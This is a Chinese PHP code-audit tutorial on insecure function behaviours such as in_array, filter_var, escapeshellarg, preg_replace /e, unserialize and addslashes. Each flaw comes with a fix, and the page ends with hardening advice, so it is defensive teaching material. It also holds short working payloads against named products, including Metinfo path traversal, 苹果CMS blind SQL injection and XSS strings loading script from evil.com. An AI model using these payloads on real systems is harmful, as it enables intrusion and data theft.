php代码审计学习之函数缺陷
字数 1353 2025-08-20 18:18:05

PHP代码审计之函数缺陷全面解析

一、in_array函数缺陷

1. 基础缺陷分析

class Challenge {
    const UPLOAD_DIRECTORY = './solutions/';
    private $file;
    private $whitelist;

    public function __construct($file) {
        $this->file = $file;
        $this->whitelist = range(1, 24);
    }

    public function __destruct() {
        if (in_array($this->file['name'], $this->whitelist)) {
            move_uploaded_file(
                $this->file['tmp_name'], 
                self::UPLOAD_DIRECTORY . $this->file['name']
            );
        }
    }
}

漏洞原理

  • in_array()函数在未设置第三个参数为true时使用松散比较
  • PHP弱类型比较时,"6php"会被转换为6
  • 6在1-24范围内,导致可以上传非预期文件

防御方法

// 严格模式检查
if (in_array($this->file['name'], $this->whitelist, true)) {
    // 安全代码
}

2. 实际案例:Piwigo 2.7.1

// include/functions_rate.inc.php
if (!in_array($rate, $conf['rate_items'])) {
    // 过滤逻辑
}

// 攻击者可构造
$rate = array(0,1,2,3,4,5); // 绕过检查

二、filter_var函数缺陷

1. URL验证问题

class Template {
    public function getNexSlideUrl() {
        $nextSlide = $_GET['nextSlide'];
        return filter_var($nextSlide, FILTER_VALIDATE_URL);
    }
}

绕过方法

javascript://comment%250aalert(1)

2. 实际案例:Anchor CMS

// system/uri.php
if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {
    // 处理逻辑
}

攻击载荷

http://example.com/%3Cscript%3Ealert(1)%3C/script%3E

三、escapeshellarg与escapeshellcmd组合问题

1. 漏洞原理

$param = "127.0.0.1' -v -d a=1";
$a = escapeshellcmd($param);      // 127.0.0.1\' -v -d a=1
$b = escapeshellarg($a);          // '127.0.0.1\\'\'' -v -d a=1\'
$cmd = "curl ".$b;                // 最终命令可注入

2. 实际案例:Postcard应用

class Mailer {
    private function sanitize($email) {
        return escapeshellarg($email);
    }
    
    public function send($data) {
        mail($data['to'], $data['subject'], $data['message'], '', "-f".$data['from']);
    }
}

绕过方法

  • 利用FILTER_VALIDATE_EMAIL缺陷:"aaa'aaa"@example.com
  • 组合使用导致命令注入

四、preg_replace函数/e模式漏洞

1. 代码执行漏洞

function complexStrtolower($regex, $value) {
    return preg_replace(
        '/(' . $regex . ')/ei',
        'strtolower("\\1")',
        $value
    );
}

// 攻击载荷
\S*=${phpinfo()}

修复方案

  • 禁用/e修饰符
  • 使用preg_replace_callback()替代

2. 实际案例:CmsEasy 5.5

// lib/tool/form.php
if (preg_match('/\{(.*)\}/', $form[$name]['default'], $matches)) {
    eval("\$form[$name]['default'] = {$matches[1]};");
}

五、str_replace过滤缺陷

1. 目录穿越漏洞

class LanguageManager {
    private function sanitizeLanguage($language) {
        return str_replace('../', '', $language);
    }
}

绕过方法

....// 或 ..././

2. 实际案例:Metinfo 6.0.0

// app/system/include/module/old_thumb.class.php
$dir = strstr($dir, 'http') ? $dir : '';

攻击载荷

http://target/include/thumb.php?dir=http/../../config.php

六、parse_str变量覆盖

1. 漏洞原理

extract($_POST); // 危险函数

if (!isset($pi) || !is_numeric($pi)) {
    goAway();
}

// 攻击者可覆盖$pi变量

安全做法

$allowed = ['pi' => ''];
$options = array_intersect_key($_POST, $allowed);
extract($options);

2. 实际案例:DuomiCMS 3.0

// duomiphp/common.php
foreach(Array('_GET','_POST','_COOKIE') as $_request) {
    foreach(
$$
_request as $_k => $_v) {
        ${$_k} = _RunMagicQuotes($_v);
    }
}

攻击方法
覆盖$_SESSION变量实现权限提升

七、unserialize反序列化漏洞

1. 基础漏洞

class Template {
    public function loadData($data) {
        if (!preg_match('/O:\d:/', $data)) {
            return unserialize($data);
        }
        return [];
    }
}

绕过方法

  • 使用数组包装:a:1:{i:0;O:+8:"Class"...}
  • 利用+绕过数字检测

2. 实际案例:Typecho 1.1

// install.php
$config = unserialize(base64_decode($_COOKIE['__typecho_config']));

利用链

  1. 触发__toString()
  2. 调用__get()
  3. 通过call_user_func执行代码

八、addslashes绕过技巧

1. 字符截断绕过

class LoginManager {
    public function sanitizeInput($input, $length = 20) {
        $input = addslashes($input);
        if (strlen($input) > $length) {
            $input = substr($input, 0, $length);
        }
        return $input;
    }
}

攻击载荷

user=1234567890123456789'&passwd=or 1=1#

2. 实际案例:苹果CMS 8.0

// inc/common/function.php
$res = $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]);

双重编码绕过

wd=))||if((select%0b(select(m_name)from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63

九、MD5哈希注入

1. RAW输出问题

class RealSecureLoginManager {
    public function isValid() {
        $pass = md5($this->password, true);
        $query = "password = '$pass' AND user = '$user'";
    }
}

特殊值

  • ffifdyop → 二进制包含'or'语句
  • 129581926211651571912466741651878684928

十、其他重要函数缺陷

1. htmlentities过滤不全

$query = htmlentities($query, ENT_COMPAT); // 不转义单引号

安全用法

htmlentities($query, ENT_QUOTES); // 转义单引号和双引号

2. $_SERVER['PHP_SELF']问题

$parts = explode('/', $_SERVER['PHP_SELF']);
$baseFile = end($parts);

XSS载荷

/index.php/http:%252f%252fevil.com/script.js

3. $_REQUEST数组特性

$_GET = array_map('intval', $_GET);
$_POST = array_map('intval', $_POST);
// 但$_REQUEST仍可能包含未过滤数据

防御建议总结

  1. 严格类型检查:始终使用===!==进行比较
  2. 安全函数使用
    • htmlspecialchars($var, ENT_QUOTES)
    • filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)
  3. 禁用危险特性
    • 禁用preg_replace/e修饰符
    • 禁用register_globals
  4. 输入验证
    • 白名单验证优于黑名单
    • 对文件路径使用realpath()检查
  5. 安全配置
    • open_basedir限制文件访问
    • disable_functions禁用危险函数

通过深入理解这些PHP函数缺陷和安全编码实践,可以有效提升Web应用的安全性,防止常见的安全漏洞被利用。

PHP代码审计之函数缺陷全面解析 一、in_ array函数缺陷 1. 基础缺陷分析 漏洞原理 : in_array() 函数在未设置第三个参数为 true 时使用松散比较 PHP弱类型比较时, "6php" 会被转换为 6 6在1-24范围内,导致可以上传非预期文件 防御方法 : 2. 实际案例:Piwigo 2.7.1 二、filter_ var函数缺陷 1. URL验证问题 绕过方法 : 2. 实际案例:Anchor CMS 攻击载荷 : 三、escapeshellarg与escapeshellcmd组合问题 1. 漏洞原理 2. 实际案例:Postcard应用 绕过方法 : 利用FILTER_ VALIDATE_ EMAIL缺陷: "aaa'aaa"@example.com 组合使用导致命令注入 四、preg_ replace函数/e模式漏洞 1. 代码执行漏洞 修复方案 : 禁用/e修饰符 使用 preg_replace_callback() 替代 2. 实际案例:CmsEasy 5.5 五、str_ replace过滤缺陷 1. 目录穿越漏洞 绕过方法 : 2. 实际案例:Metinfo 6.0.0 攻击载荷 : 六、parse_ str变量覆盖 1. 漏洞原理 安全做法 : 2. 实际案例:DuomiCMS 3.0 攻击方法 : 覆盖 $_SESSION 变量实现权限提升 七、unserialize反序列化漏洞 1. 基础漏洞 绕过方法 : 使用数组包装: a:1:{i:0;O:+8:"Class"...} 利用 + 绕过数字检测 2. 实际案例:Typecho 1.1 利用链 : 触发 __toString() 调用 __get() 通过 call_user_func 执行代码 八、addslashes绕过技巧 1. 字符截断绕过 攻击载荷 : 2. 实际案例:苹果CMS 8.0 双重编码绕过 : 九、MD5哈希注入 1. RAW输出问题 特殊值 : ffifdyop → 二进制包含 'or' 语句 129581926211651571912466741651878684928 十、其他重要函数缺陷 1. htmlentities过滤不全 安全用法 : 2. $_ SERVER[ 'PHP_ SELF' ]问题 XSS载荷 : 3. $_ REQUEST数组特性 防御建议总结 严格类型检查 :始终使用 === 和 !== 进行比较 安全函数使用 : htmlspecialchars($var, ENT_QUOTES) filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED) 禁用危险特性 : 禁用 preg_replace 的 /e 修饰符 禁用 register_globals 输入验证 : 白名单验证优于黑名单 对文件路径使用 realpath() 检查 安全配置 : open_basedir 限制文件访问 disable_functions 禁用危险函数 通过深入理解这些PHP函数缺陷和安全编码实践,可以有效提升Web应用的安全性,防止常见的安全漏洞被利用。